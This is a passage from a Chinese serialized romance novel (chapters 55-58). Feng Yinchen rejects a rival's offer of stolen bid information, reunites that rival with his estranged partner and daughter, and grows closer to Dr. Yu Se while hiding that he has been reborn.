郁瑟微微笑了一下,大抵上,他从内心来讲,早已经有了答案了吧。 第55章 第 55 章 积个姻德 求婚分明是人生最重要的大事, 结果到了枫音尘这边,反而成了一件苦难重重的事情。 所以当他在约定地点看到杜景恒之后,心底连叫了几声晦气。 无论是杜景恒本人, 或是萱萱, 这对儿父女头顶都顶着一个大大的名称——麻烦制造者。 枫音尘心里暗暗腹诽,杜景恒一脸阴沉,似乎在胸腔之内隐藏着无数的怒火, 等待着瞄准一个方向喷射。 枫音尘看了眼约定地点的环境, 是一座经贸大楼的楼顶,四周空旷无人, 只有凉风拂过, 带来一丝丝寒意。 远处的城市灯火阑珊,与这楼顶形成鲜明对比, 显得这里格外寂静。 他皱了皱眉, 不明白杜景恒为何会选择这样一个地方作为见面的地点,难道是想在这里给自己一个“惊喜”? 枫音尘并不怕对方会将自己推下楼去,而是不阴不阳笑了起来, “说吧, 约我出来,打算怎么一个解决办法?” 难免不了一番拳脚相加了。 哪知杜景恒从阴影处走出来,手里攥着一个厚实的牛皮纸袋子,径自往枫音尘的面前一丢。 “拿去。” “海拓和恒基正在竞争的大型交控项目, 据说是一块黄金地段, 无论是商业价值还是发展潜力都无可估量。” 杜景恒的语气里带着一丝不易察觉的轻蔑, “我知道你手上有关于这个项目的关键情报,再加上我这一份,足够让恒基轻松拿下这个项目!” 枫音尘并不为所动, 而是眯起眼道,“什么?你想设计我跟你一起犯罪?然后在公众面前曝光我?” 说实在的,枫音尘自始至终没有相信过任何人,尤其是面前这一个。 杜景恒却显得毫不在意,“这一次,是我主动放弃跟恒基争的,而且,我也不会卑鄙地隐藏任何摄像设备,更不会无耻地来威胁你什么。” “我只要你帮我做一件事。” “你去跟林宇良解释清楚,那天我给你喝的只是普通的补充精力的药液,根本不是什么春.药,而且,我也没有准备要让人对你做什么!” 杜景恒越说越气恨,“是你自己体质特殊引起的过敏,还是其他什么奇怪的问题引起的亢奋,根本不是我!!” 啊,对了。 绝对是枫音尘的身体某个部位异常,所以才会在喝下西洋参液之后,变得骚气十足。 全部都是这个该死的家伙! 而且他有两个钉钉!! 杜景恒的神态可谓变化多端,一阵子郁闷,一阵子嫌弃。 “难怪你一直不怎么招人喜欢。”杜景恒被气得头脑混乱,开始妄下定义,“你身上有两个那东西你是不是超雄圣体啊!!” 枫音尘瞧他越讲越不像话,噗嗤笑出声说,“那天的事情从起因到经过,全部都是你一手促成,最终被林宇良嫌弃厌恶,这份恶果也是你自己该受的,怎么突然赖到我头上来了。” 还有。 枫音尘说,“有两根生殖器那不叫超雄,请不要胡乱下定义。” “而且,我这属于先天的,属于完全分离,且发育完善的双根,功能齐全着呢。” “所以,你下次若是再乱碰的话,搞不好我的膝盖就会立刻砸爆你的脑壳。” 枫音尘不无得意地挥挥手,“我还以为你有什么建设性的话要跟我争辩,没想到你还是如此幼稚,真是浪费我的宝贵时间。” 那一包厚厚的牛皮纸袋子丢在地面,无论如何也得不到枫音尘的一点青睐。 见到对方没事人似的要走,杜景恒则像是被激怒的猛兽,三步并作两步冲过来,紧抓住枫音尘的手臂。 “你不能走,告诉你,我现在在林宇良的心目中,完全是一个垃圾一般的角色,若不是因为你的话,我们这么多年了,再次相逢时也绝对不该是如此狼狈!” 枫音尘挥手扫开他的纠缠,不要以为他身娇体软易推倒,其实都是为了演戏需要。 枫音尘脱掉衣服之后,多年来追求身体健康,浑身锻炼出来的肌肉,足够捏爆十个杜景恒。 枫音尘不无嘲讽地打量着死对头的面颊侧,啧啧称奇说,“原来是被打了?真是活该呢。” 杜景恒更加羞愤欲死,他这辈子跟枫音尘的恩怨情仇,仿佛是一卷卷陈年旧账,在这一刻被无情地揭开。 他咬紧牙关,双眼充血,仿佛要将所有的恨意都凝聚在这一刻,“你以为你赢了吗?枫音尘?我告诉你,假如我不能获得林宇良的原谅的话,你这辈子也不要想得到郁医生!!” 杜景恒也不是傻瓜,枫音尘身边一向没有任何人的存在,只要稍微用一点心思,就能立刻发现郁瑟的存在,是多么的与众不同。 “今天,那个叫郁瑟的人说,萱萱是他的女儿,然而萱萱的生物学父亲,可是我。” 杜景恒已经全然不在意使用什么手段了,他只想抓住枫音尘的软肋,不停地攻击。 哪怕,他抓到的根本不是任何软肋。 枫音尘一向狡猾,没有软肋。 “那我是不是有一个很好的借口,跟你的郁医生产生些交集呢?你觉得,他会不会很有兴趣,从我这里知道,你从小到大,究竟是一个怎么样阴险的人呢?” 原本也不算是什么威胁。 不过但凡与郁瑟沾一点边的事情,在枫音尘内心里来讲,也算是大事了。 尤其,他希望在郁瑟的心目中,自己也是一个十分完美的结婚对象。 “你是不是有病?”枫音尘都不打算再捉弄他了,全怪杜景恒自己作死。 枫音尘可不是吃素的,一拳头照准杜景恒的额头砸了下去,他在决定下狠手的时候,是无比阴毒又凶残的。 完全不跟你打任何招呼,也完全不留一点情面。 杜景恒被打得往后踉跄了几步,差点没站稳,伸出手捂着额头,眼中闪过一丝怒意,但更多的是难以置信。 他从未想过枫音尘会如此直接地动手,而且下手如此之重。 “你……你居然敢打我?”杜景恒的声音有些颤抖。 枫音尘冷笑一声,一步步逼近杜景恒:“你以为你是谁?在我面前敢随便提郁瑟的名字?我告诉你,下次再让我听到你胡言乱语,可就不是一拳这么简单了。” 杜景恒看着枫音尘那冰冷阴森的眼神,心中不禁升起一股寒意。 枫音尘的脾气虽然傲娇且古怪,但从未见过他如此愤怒过。 发怒的枫音尘有一种分外绝艳的美感,既危险又迷人。 杜景恒微微感到自己不该提到郁医生的名字。 郁瑟是枫音尘浑身上下,唯一的禁区、逆鳞,不可碰触的圣洁之地。 任何人只要稍微提及郁瑟的名字,就会触动枫音尘内心最敏感的那根弦。 许是如此,枫音尘的话匣子算是彻底打开了,他问杜景恒。 “你口口声声说不想在林宇良心中,做一个最糟糕的男人,那么你既然如此优秀,当年为什么留不住林宇良?” “他究竟为什么要离开你?” “难道这些,不是你更加应该思考的问题?” 很难不承认,枫音尘寥寥数语如同醍醐灌顶,瞬间泼了杜景恒一身的冷水。 枫音尘原本是很喜欢折磨自己的死敌的,越是看杜景恒不顺心,他应该越开心。 可是现在眼瞅着一生的敌人,在自己的面前一点点地挫低下去变得黯然神伤。 枫音尘的爽感似乎也在大大折扣。 可能是与郁医生再次命运般的重逢,令他潜意识里产生了因果报应、兰因絮果这样的玄学词汇。 枫音尘丢下他不管,也不是不可以,反正他也一直是这样子的人。 不过 他想替自己和郁瑟这段堪称奇妙的缘分,积一些姻德。 没错,就是姻德。 他朝杜景恒道,“听你之前的话,应该是最近调查过我和郁瑟的关系。” “有一件事,你似乎并不知道。” “郁瑟那家医院是改了名称的。” “慈康私人产科医院,在改名之前,叫做慈康男性产科医院。” “假如,你现在还捋不清林宇良和萱萱,还有你之间的关系,我觉得你绝对愚蠢得不配做我的宿敌了。”. 林宇良坐在萱萱的小床前发呆,然而小床里空荡荡的,并没有孩子的身影。 对了,萱萱今晚住在郁医生家。 林宇良立刻用双手揉搓了一把脸,他的表情太过僵硬了,像是发了一夜的呆似的,差点怔怔得坐到天明。 “对了,我应该去给萱萱做一点蝴蝶面片。”反正最近的睡眠一直有问题,还不如给孩子做喜欢吃的营养餐。 林宇良完全不看时间,起身伸了伸发僵的腰肢,准备去做一些有意义的事情,来分散注意力。 哪知家里的门被意外敲响,在这空寂的夜里,显得急促又惊恐。 作为一个男人,林宇良并没有那么害怕,而是直接走到门口问一声,“谁?” 这里是一个老旧小小区,因为房租便宜才租下的,房子不但狭窄,而且隔音不好,经常能听到邻居家的任何动静。 门外传来陌生的回答,“开一下门,找你有急事。” 说话的声音很陌生,带着浓重的倦意,但猛地一听,却又有丝丝熟悉的感觉。 林宇良打开门,看见枫音尘正懒洋洋地用手捂住嘴巴打哈欠。 这个人他绝对认识,跟郁医生经常一起出现的,是枫家的家主。 再一看,枫音尘身边站着的是一脸憔悴的杜景恒。 说是憔悴,杜景恒的眼眶红得像是血染一般。 想来,他怎么可能不痛苦得像是死过一样呢? 枫音尘像是为了要看到他痛苦,一股脑将林宇良所遭受的苦难,全部给他说了一遍。 尤其是生产时,遗失在腹部的纱布。 杜景恒听到这个消息,简直如遭重创。 还有萱萱不能说话的事情。 杜景恒简直比自己死了还要难受。 枫音尘瞧林宇良似乎要关门,抢先一步道,“那天晚上的事情,我和杜景恒是闹着玩的,他一直还算不错,不过跟我比起来要差多了。” 然后递给杜景恒一个,你看着办的眼神。 又打个哈欠说,“我已经解释完了,之后要跟与医生说,是我做的好人好事啊。” 言罢,挥挥手转身走了。 而此刻,杜景恒再也憋不住了,一把搂住林宇良,双眼赤红到忍不住泪奔道。 “宇良,对不起,是我错了,是我害了你和孩子,我对不起你们!” 林宇良被杜景恒这突如其来的举动弄得有些懵,他没想到杜景恒会突然抱住他,更没想到他会说出这样的话。 他挣扎着想要推开杜景恒,可杜景恒却抱得更紧了,仿佛要将他揉进身体里一般。 “杜景恒,你疯了吗?你放开我!现在是半夜,吵到邻居很不好!”林宇良低声怒喝道。 杜景恒却像是没听到一般,只是不断地重复着“对不起”这三个字。 “给我一个机会吧,让我好好地做一回男人!” 第56章 第 56 章 猫猫蛇蛇 萱萱早晨起得早, 是一只勤快的小鸟儿。 郁瑟替她热了牛奶,还做了适合小孩子口感的松软面包,搭配着新鲜的果酱, 让萱萱的早餐既营养又美味。 郁瑟看着萱萱满足地吃着早餐, 心里充满了微笑的星星。 忽然觉得趁孩子吃饭的表情如此开心,不如引导着孩子说一说话。 所以郁瑟用手指向面包,故意问道, “萱萱喜欢哪种口味的果酱?是草莓莓?还是蓝莓莓?” “如果能说出来的话, 就能立刻得到一片新的果酱面包哦。” 郁瑟将口型做得大大的,鼓励萱萱模仿自己的样子发声。 萱萱的眼睛闪烁着兴奋的光芒, 她的小嘴微张, 似乎在努力尝试着发出那个期待已久的声音。 终于,她伸出两只小手, 同时抓住了两个果酱瓶子, 嘴巴噘得圆圆的。 示意自己全都要。 郁瑟无言失笑,立刻奖励给萱萱一片涂满两种果酱的面包。 萱萱接过面包,笑得比窗外的阳光还要灿烂。 真是个小淘气。 郁瑟准备给她再端来一点干果仁。 自家的房门被轻轻地敲了起来。 郁瑟第一时间便认定绝对不是枫音尘, 因为对方连敲门声都显得分外没耐心, 唯恐脏了手。 打开门一瞧是穿着整齐的林宇良,还有杜景恒。 郁瑟只呆怔了两秒钟,立刻反应过来是怎么回事。 杜景恒却朝林宇良说,“你应该有话跟郁医生说, 我在楼下等你和孩子。” 杜景恒自从知道萱萱是他的骨肉之后, 整个晚上都处于极度的兴奋和喜悦之中。 他朝屋内探了一眼, 充满了无限的温柔与爱意,仿佛要将萱萱立刻搂紧怀中似的。 不过,他最终还是决定先留下林宇良与郁瑟, 自己转身到楼下去等待。 郁瑟将林宇良招呼进了家,萱萱听见爸爸的说话声,立刻端着啃到一半的面包片,嗒嗒嗒地跑过来,将面包片递给对方,要爸爸也一起吃。 林宇良谢过女儿,冲郁瑟不好意思地开口说,“原本我真的打算一辈子都不见他的。” 郁瑟选择安静,他从来都是一个很好的聆听者。 所以林宇良像是受到了极大的鼓励,慢慢道,“可是杜景恒说萱萱的情况不能继续拖下去了,他还说国外有一个熟人在这方面是专家,昨晚我们已经将孩子的情况发给对方,对方建议我们尽快赶过去,不要耽误了最佳的治疗期。” “这是好事啊,”郁瑟回应道,语气中满是欣慰,不过他也知道,对于林宇良来说,做出这个决定并不容易。 林宇良一直在逃避,逃避过去,逃避杜景恒,但作为一个父亲,他没有逃避自己的责任,但现在,为了萱萱,他也愿意面对一切。 “是的,是好事。”林宇良点了点头,眼中闪过一丝泪光,“我是来跟你道别的,郁医生,我和杜景恒准备赶两个小时后的飞机,直接将孩子送出国去治疗。” 林宇良感激地看了他一眼,“谢谢你,郁医生。有你在,我觉得踏实多了。” “而且,你是我和萱萱的救命恩人,我这一走,不知究竟几年才能回来,但是如果不嫌弃,我想跟你一直保持通讯,不知” 郁瑟哎呀了一声,用手掌心狠狠地捏了他的肩膀一把,“你的选择很正确,无论你跟孩子的父亲究竟是怎么回事,但孩子才是你们共同的羁绊,萱萱才是目前最重要的。” “去吧,快去吧,不要耽误时间。”郁瑟想起什么似的,快速从屋里取来了萱萱的衣服,帮助林宇良给孩子把一切收拾妥当。 郁瑟笑着说,“这是好事,宇良,你去了国外不用担心会打扰我,有什么困难一定要告诉我,我早已经不是你的医生了。” 郁瑟抓住林宇良发凉的手指,“我们是朋友啊。” 林宇良立刻湿润了眼眶,此时此刻,说什么感恩感激的话,显得太过刻意。 不过,他对萱萱说,“快亲亲郁医生,以后他就是你的郁爸爸。” 萱萱超级听话,抱住郁瑟的脸颊,吧唧亲了一个甜蜜蜜的吻。 郁瑟忽然也眨了眨眼,将涌上鼻尖的酸楚强行压了下去。 抱着孩子朝林宇良道,“这一声郁爸爸,我应承下了,若是等萱萱能张口说话时,我要听她亲自叫我。” 林宇良感动得无法自拔,不过为了不影响孩子的情绪,只能紧抿住嘴巴,不停地点头再点头。 郁瑟站在窗户前,眺望楼脚,只见林宇良抱着萱萱走出单元的瞬间,杜景恒像是迫不及待般,伸手抱走了萱萱。 萱萱似乎并不排斥他,一双小手紧紧地抱着杜景恒的脖颈。 看着一家三口的身影逐渐远去,郁瑟的心中也泛起了一丝酸涩,可能是属于分别的感触。 不过很快,他又变得开心起来,毕竟对于萱萱来讲,拥有一个完整的家庭,会是多么的幸福啊。 郁瑟连续几天内的心情都很好,医院里来往的同僚,或者是小朋友们,都发现了他的喜悦溢于言表,愈发喜欢跟郁瑟搭话。 郁瑟抽空一想,最近好像缺少了点什么。 结果,枫音尘便从医院的走廊中,如同耀眼的旭日一般冉冉升起。 郁瑟:真是不经念叨。 枫音尘每一次的登场,绝对都是明星级别的档次,以至于在小小的私人医院里,也很快地聚集了一波他的粉丝。 枫音尘的肩膀上盘着许久不见的小黑蛇伊尔曼,以至于被他极品漂亮的五官一衬托,大家都拿这条长达近一米的兰花美人蛇当作饰品。 伊尔曼:你们礼貌吗,人类? 今天的伊尔曼也是打扮得很隆重,在蛇头的位置,佩戴着一顶精致的小帽子,还是毛球形状的。 很难说不可爱。 有几个小朋友甚至遗忘了那是一条黑乎乎的蛇,转而盯着小帽子面露羡慕。 郁瑟都忍不住想伸出手指,去戳一戳伊尔曼头顶的软球球。 枫音尘则笑着问他,“郁医生今天忙不忙?有空一起陪伊尔曼出去玩玩吗?” 郁瑟看了眼走廊上悬挂的时钟,也该吃中午饭了。 不过,他很难想象,一条蛇能有什么娱乐场所。 最主要的是,他对枫音尘的两次求婚行为,打算给一个说法。 于是点头道,“地方你选,不过午饭我请。” 枫音尘只要郁医生愿意跟他出门,怎么都好说,不过他在搭乘电梯的时候,还是偷摸了问了一嘴。 “最近有人在你面前夸我吗?” “什么?”郁医生被某人靠近的唇息弄得有点痒痒的,好心情似乎又被放大了一些,晕染出从未有过的愉悦感。 “啊。”枫音尘漂亮的脸微微有些僵硬,“我早就知道这一家子狼心狗肺的。” 他说得正是杜景恒和林宇良。 郁瑟愈发被激起兴趣,追问道,“枫家主最近做了什么大善事吗?在哪一个电视台节目播出?或者是某媒体杂志又采访你了?” 枫音尘完全不想说了。 郁瑟只好将注意力转移到伊尔曼的小帽子上,禁不住诱惑用手指戳了戳小帽子上的绒球球。 好软好萌。 伊尔曼似乎也喜欢郁瑟的碰触,不停扭动着蛇身要郁瑟的肩膀上攀爬。 枫音尘笑着捏住它的尾巴尖,像是阴恻恻地警告,嘴上挂起微笑道,“你要是再不老实一点,就不带你去放松了。” 说到放松,郁瑟充满好奇,真心想知道小黑蛇最喜欢的地方,究竟在哪里? 直到他坐在舒适的椅子中间,手里捧起一杯浸泡着猫爪爪棉花糖的咖啡。 伊尔曼开心地在地面扭来扭去,头顶的小帽子看起来像一团蓬松的小黄鸡。 咖啡厅的一角,是处于惊悚异常的猫群,每一只猫都像是被施了定身术,眼睛瞪得滚圆,高高地弓起后背,死死地盯着伊尔曼,包括它们的尾巴也僵硬地竖起,偶尔还轻轻颤抖,仿佛在经历着什么前所未有的震撼。 一只橘色的大肥猫甚至不小心从椅子上滑了下来,却仍旧保持着警惕的姿势,不愿错过任何一个细节。 屋子里到处是猫猫们备受惊吓的杂乱低叫。 (⊙o⊙)… 郁瑟问一旁的枫音尘,“这好吗” 猫咖的工作人员仿佛早已被迫习惯了这种情况,毕竟每次枫音尘带着小黑蛇来的时候,总是需要耗费很长时间,来安抚猫猫们惊吓过度的心情。 枫音尘双手插兜,神淡如常,回复说,“没事儿,伊尔曼跟这群猫的关系很好,早打成一片了。” 第57章 第 57 章 为什么你不继续了,你说…… 从猫咖出来, 郁瑟不知该不该露出笑容,一来是为了那些备受惊吓的猫咪们,二来是为了那个备受心灵折磨的猫咖店员。 枫音尘仿佛没有任何感觉, 宠溺地将伊尔曼端在掌心, 郁瑟一直觉得他对这条小黑蛇的感情非比寻常。 像枫音尘这样的人物,居然对一个宠物展现出了异样的长情,这实在让人费解。但郁瑟没有多问, 毕竟每个人都有自己的秘密, 枫音尘也不例外。 气氛难得融洽,所以他们继续去了几个地方, 直到走在夜色笼罩的街道上, 霓虹灯闪烁,为这座城市披上了一层神秘的面纱。 伊尔曼在枫音尘的掌心里蜷缩着, 似乎也在享受着这份难得的宁静。 “接下来我们去哪里?”郁瑟率先打破了沉默, 以前跟着枫音尘匆匆忙忙的,今天却发现两人其实也有一些共同喜好的地方。 例如,两人都不喜欢过分喧闹, 又格外喜欢在路过西西弗书店的瞬间, 相视一笑后走进去逛一逛。 枫音尘闻言,用面颊亲昵得磨蹭着伊尔曼,以至于将小黑蛇的毛球帽子蹭得微微偏了一点:“我想去你家。” 嗯,感觉枫音尘似乎真得像他自己讲得那样, 拿这小黑蛇当作一只猫咪来对待 “不对!”郁瑟几乎是下意识喊了出声, “你去我家做什么?” 枫音尘停下脚步, 转头看向郁瑟,眼中带着几分玩味:“怎么,不欢迎吗?” 郁瑟心里咯噔一下, 没想到枫音尘会这么直接,更没想到自己会如此紧张,他努力让自己的语气听起来轻松些:“只是好奇,毕竟我们好像还没到那种可以随便去对方家里的关系吧?” 枫音尘轻笑一声,似乎对郁瑟的反应很感兴趣:“那你觉得我们是什么关系呢?我记得,我可是已经对你求了两次婚,只可惜每一次都被意外打断了,但是求婚的情绪一直都在,永远不会改变。” “这样的我,真诚地想跟你携手一生的人,现在想去你家,请问可以吗,郁医生?” 郁瑟语塞,“可是,现在天很晚了”虽然郁瑟并不算一个伶牙俐齿的人,但也从未如此话不接口。 不不不。 “我的意思是,你和我都该回家休息了,各自的家。” 越描越黑。 枫音尘已经凑过去,在他紧张的嘴唇间吻了起来。 郁瑟整个人僵住,大脑一片空白,完全忘记了反应。 枫音尘的吻温柔得像一阵阵夜风,连绵不绝,在郁瑟的唇畔吹拂起无尽的思念和渴望,而后轻轻撬开郁瑟的牙关,与之缠绵悱恻,倾情地享受笼罩在夜色之下的亲密无间。 过了许久,枫音尘才缓缓松开郁瑟,凝视起他微红的脸颊和迷离的眼神,嘴角勾起一抹得意的笑容。 “郁医生,你的表情告诉我,我可以跟你回家了,对吗?” 郁瑟有些被亲迷糊了,一双眼眸充盈着雾蒙蒙的水汽,却又无从反驳,只能瞪了枫音尘一眼,转身就想逃离这个尴尬的局面。 然而,枫音尘却抱着小黑蛇,遥遥地对着他的背影笑了一声,“可你之前说我漂亮,所以,更加不应该只浪费在接吻上吧?” 郁瑟走得很快,以至于坐在枫音尘的车上时,也没有从正面再看对方一眼,其实他也不想让自己像被调戏的小媳妇似的,显得手忙脚乱,无所适从。 他可以比枫音尘更加从容、镇定、胸有成竹且谈笑风生。 如果他在活着之前,在现实世界里认真去谈几段无疾而终的恋爱的话。 郁瑟只能独自暗戳戳得脸红,用发烫的背脊来面对咄咄逼人的枫音尘。 直到家门打开的瞬间,枫音尘的嘴唇便迫不及待地凑了过来,一口叼住了郁瑟白皙的后勃颈,咬了又吻。 郁瑟却连哼也哼不出来,小声提醒了一句,“伊尔曼还在呢” 枫音尘的嘴唇宛若涂抹了蜜汁,在郁瑟的脖颈间不停地粘黏后拉丝。 “早给它丢开了” 而后,伸出双臂,从后面抱住郁瑟的胸前,再挽成一个永远也解不开的死结。 郁瑟微微闭了眼眸,像一只被猛兽叼住命门的羔羊。 实际上,他完全是多此一举了,屋子里浑黑一片,根本没有人给他们开灯,而郁瑟的眼前完全燃起了一层星光。 尤其是枫音尘每解开他的一颗纽扣,眼前闪现的星光变作一点火苗,转眼淌成一道漫漫的火流,开始焚烧郁瑟的骨头。 “我们到床上去,好吗?” 大概找了很久,他才找回来讲话的感觉,说出了一句破碎得不成器的话。 “好,听你的。”枫音尘将他的身体一转,居然轻松地将郁医生打横抱起,顺便用脚一勾关住了门。 免得等一会儿,郁医生要怪他不食人间烟火,连门都不关了。 郁瑟被这一个小小的动作弄笑了,最主要的是,他觉得自己在男人之中,身材也算挺高大的,居然被一个区区枫音尘抱起来,立刻变成另一种形式的羞耻。 “看来郁医生的适应力良好,可以接受更复杂的姿势。” 郁瑟立刻不笑了,因为他的嘴巴再次被攻占了,而从枫音尘的角度来讲,他真的爱极了从正面亲吻他的白月光。 感觉能吻到更深更甜蜜的位置。 郁瑟气喘吁吁、热汗淋漓,最终被枫音尘摁着,接受一次次的热吻冲击。 之前,他一直不知道人为什么喜欢接吻。 今天,他似乎知道了,还在换气的空隙里偷问了一个问题,“你其实是一个接吻狂魔吧?” 枫音尘嗯了一声。 枫音尘又说,“主要是亲自己喜欢的人,怎么也亲不够似的。” 他这一句话的功夫,叫郁瑟能偷喘一大口气,呼吸在唇齿间穿梭的时候,郁医生忽然明白了一句话。 ——男人在床上,真的是什么话都敢讲的。 于是郁瑟也问了他一句,“枫音尘,你真的喜欢我吗?你确定,我真的是你心里的那个人吗?” 枫音尘不由又压着他亲了十几分钟,直到郁医生不得不确信,没有一个人能将另一个人亲到窒息的程度。 仿佛将前世今生未曾圆满的夙愿,一口一口得弥补到溢出。 整个世界都只剩下了他们彼此的呼吸和心跳。在这缠绵悱恻的吻中,时间仿佛凝固,所有的疑虑和不安都随着每一次的呼吸深入而消散无踪。 枫音尘缓缓退开,隔着溟濛微光的环境,认真且迷恋地看着郁瑟潮红的脸颊和迷离的眼神,心中涌起一股前所未有的满足和幸福。 他轻声在郁瑟耳边说道:“郁瑟,你是我此生唯一的爱人,从你走进我世界的那一刻起,我的心就再也无法容纳其他人。” 郁瑟不禁也趁着气氛高涨问了他一个问题,可能不是那么合时宜,不过还是因为好奇问了。 “枫音尘,你是不是知道北京这个地方?” 因为枫音尘的变化,具体从自己讲了自己来自北京这句话之后,清晰而鲜明得改变起来。 即使枫音尘自己可能不觉得。 但是郁瑟身为医生,敏锐的观察力,还是让他在众多细节中捕捉到了这一变化。 他的眼神,他的语气,甚至是提到“北京”这个词时微妙的停顿,都让郁瑟心生疑惑。 郁瑟紧盯着枫音尘的眼眸,试图从中读出些什么,但那双深邃的眸子里,除了爱意与温柔,似乎还藏着些难以言喻的情绪。 “为什么这么问?”枫音尘的声音低沉而富有磁性,他轻轻握住郁瑟的手,似乎想借此传递某种力量或安慰。 郁瑟微微皱眉,心中那份好奇与不安交织得更加紧密。“只是感觉,自从我说了自己来自北京后,你似乎有些不一样。”他小心翼翼地措辞,生怕触碰到某个敏感点。 枫音尘闻言,眼神闪烁了一下,似乎在衡量着该说多少。 片刻后,他缓缓开口:“我从来没有听过北京这个地方,而且我觉得,瑟瑟你太过敏感了。” 言罢,枫音尘又吻了吻郁瑟嘴角,但是接下来一定会发生的事情却并没有发生。 枫音尘已经戛然而止,甚至缓缓起身,转身要躺到郁瑟的身旁搂着人睡觉。 被郁瑟一把摁住肩膀,纹丝不动。 郁瑟说,“你知道,你这是第几次这样对我?” 枫音尘问,“我怎么了你?” 郁瑟抓住他的手,带到自己的身前,摁住了本该碰触的地方,“这个,你是第二次,在我成为这种状态时,突然又变得像个陌生人一样抽身离开。” “这很不好玩,”郁瑟的热情在一瞬间被对方的退却,浇灭得无声无息。 “我也是会生气的。” 枫音尘连声道,“怎么可能,我那么爱你,也很想得到你。” 只是 “瑟瑟宝贝,今天太晚了,你明天还有手术安排,所以我想了想,还是要以你的身体为主。” 他讲得很讨巧,根本不该是枫音尘这种唯我独尊的人能讲出口的话。 假如郁瑟少想一点的话,应该是会相信的。 可是枫音尘跟他贴得极近极紧,几乎是在一瞬间变得理智起来的。 郁瑟一向以自己的敏锐直觉为荣。 可是今天,大概他也有些痛恨自己的第六感太多事了。 郁瑟说,“嗯,好的,我懂了。” 第58章 第 58 章 我没有不行 郁瑟说完之后, 转过身沉沉睡去,再没有跟枫音尘做更多余的事情,包括温存。 枫音尘安静地等待着郁瑟的呼吸变得趋于平稳, 才轻手轻脚地为他掖好被角。 月光透过窗棂, 洒在郁瑟安详的睡颜上,为他平添了几分柔和。 枫音尘凝视着这张深爱异常的脸庞,心中骤然排山倒海。 ——决不能让瑟瑟知道我也是重生的。 ——最重要的是, 我不能让他想起我是谁。 即使觉得十分抱歉, 可能也伤害到了郁瑟的心情,枫音尘从背后很好地抱紧了他, 吻了吻对方的脖颈。 “瑟瑟, 我们在这个新世界好好地生活吧,我就是枫音尘, 永远只爱你的枫音尘。” “以后, 我会好好地疼爱你的。” 然后,抱着郁医生沉睡到了天明。 枫音尘觉得,这件事应该并不算是一件大事, 即使是情侣之间, 也会发生口角争辩,弄得脸红脖子粗的。 何况,他们才刚刚在一起,需要磨合的地方还有很多。 只要自己慢慢地融化郁瑟, 叫他不着痕迹地遗忘任何关于那一句“北京”的事情。 枫音尘默默地想, 反正那个世界上的枫音尘已经不存在了, 他完全在用一个全新的身份,跟他的白月光一起。 这样想着,枫音尘的心情渐渐好了起来。 他轻手轻脚地下了床, 为郁瑟准备早餐。 但是枫音尘哪里是能做早点的人?拿刀切个面包都能将手指削掉一块肉的厨房杀手。 最后只好勉强给郁瑟热了一杯牛奶,还因为热得太过头了,导致牛奶在微波炉里炸得四溅,整个微波炉都充满了牛奶的焦香味。 看着这一片狼藉,枫音尘甚至觉得都是微波炉的质量不过关,要不然就是牛奶的问题很大。 干脆叫这两家公司破产好了。 郁瑟是被潜意识里的警觉感官唤醒的,房间里弥漫着烧焦的气味,吓得郁医生以为自己家着火了。 等郁瑟一头炸毛的冲到冒烟的屋子,看到枫音尘正站在厨房门口,一脸歉意地看着他。“瑟瑟,对不起,我本来想做早餐给你的,结果……”枫音尘的话还没说完,就被郁瑟打断。 “你确定不是要毒哑我或者烧死我?”郁瑟笑了一下,想要进厨房去收拾一下。 结果被枫音尘拢住腰身,拒绝进入地耍起赖道,“我带你出去吃,好不好?等会儿我叫家政来收拾。” 原本的交谈还挺正常的,只是枫音尘的双臂缠上身的时候,郁瑟意外生出了一丝躲闪的念头。 枫音尘却把注意力放在郁瑟睡乱的头发上,用下巴抵在郁瑟的发旋间,笑着撒娇说,“我们先一起去洗个澡,等会儿干干净净地出门,好不好?” 他每一件事情都在问好不好,实际上并没有允许郁瑟拒绝的空隙。 郁瑟的眼神微暗了一下,他也没有发现。 而是不停地黏住郁瑟道,“我现在一身的臭奶味儿,需要郁医生的清理。” “来嘛,来吧,郁医生洗洗我。” 郁瑟只好半推半就,进浴室跟枫音尘洗了一个黏黏糊糊的双人浴。 享用过早点之后,枫音尘给人送去了医院,才心满意足地离开。 郁瑟原本安排了一场剖腹产的,不过他觉得自己的状态不太好,秉承着对产妇负责的态度,还是将手术的主刀医生换成了徒弟王齐。 王齐在他的精心教育之下,技术也是突飞猛进的,而他则在一旁悉心指导。 从昨夜到今早的事情,看似风轻云淡地翻篇了,实际上郁瑟的心情改变还是挺大的。 早晨的工作基本上安排妥帖之后,他将自己关进了办公室内,准备抽出一部分时间好好地理清楚自己与枫音尘之间的关系。 枫音尘这个人的情绪变化原本便难以捉摸,可是胜在胜在枫音尘对他总是毫无保留,无论是喜悦、烦忧,还是那些孩子气的小情绪,都明明白白地展现在郁瑟面前。 这让郁瑟在平静的生活中,多了一些小意外,小情绪。 在郁瑟的心目中,枫音尘完全像是一位美貌傲娇的公主,而郁瑟也愿意去宠溺他。 只是,郁瑟突然发现,枫音尘其实对他隐瞒的部分还挺多的。 一段并不够真诚的感情,无论被隐藏起来的部分有多么渺小,一经发现,会被无限制得放大。 郁瑟坐在办公桌前,手中把玩着一支笔,目光却空洞地望着窗外,阳光透过树叶的缝隙,斑驳地洒在桌上,也洒进了他的心里,带来一丝丝不易察觉的寒意。 郁瑟开始回想与枫音尘相识的点点滴滴,从最初的相遇,到后来的纠纠缠缠,每一个细节都如同电影般在脑海中回放。 他试图从这些回忆中,找到自己对枫音尘真正的感觉,是喜欢、依赖,还是早已超越了这些的情感? 或者,趁彼此之间的感情并没有多么深刻的时候。 也是可以戛然而止的? 郁瑟不禁自嘲了一下,原来在感情面前,连他这个人也不能免俗,一旦发现某个不对劲的点,也会条件反射地选择躲避? 大概是因为是第一次在意一个人,所以会更加小心翼翼? 郁瑟这边暗下决心的时候,枫音尘那边则完全做的是另外一种打算。 他要好好地补偿郁医生一个完美的初夜。 枫音尘叫来了几个浪漫感策划团队,原本这种事情完全由秘书去接洽即可,可是对方是郁瑟,枫音尘决定还是要更加慎重好一点。 这几个策划团队都是行业内拔尖的,在枫家主的挑剔下,除了瑟瑟发抖之外,倒也算得上应对如流。 枫音尘当即敲定了一套方案,居然还第一次放下身段,跟着对方亲自到会场去勘察环境。 这个会场,是枫音尘精心挑选的,位于城市中心的一家私人会所,环境优雅,氛围浪漫,每一处细节都透露着精致与高贵。 他亲自检查每一处布置,从灯光到音乐,从花卉到餐具,每一个细节都不放过,力求做到尽善尽美。 策划团队的人在一旁小心翼翼地伺候着,生怕哪里做得不好,惹恼了这位难缠的枫家主。 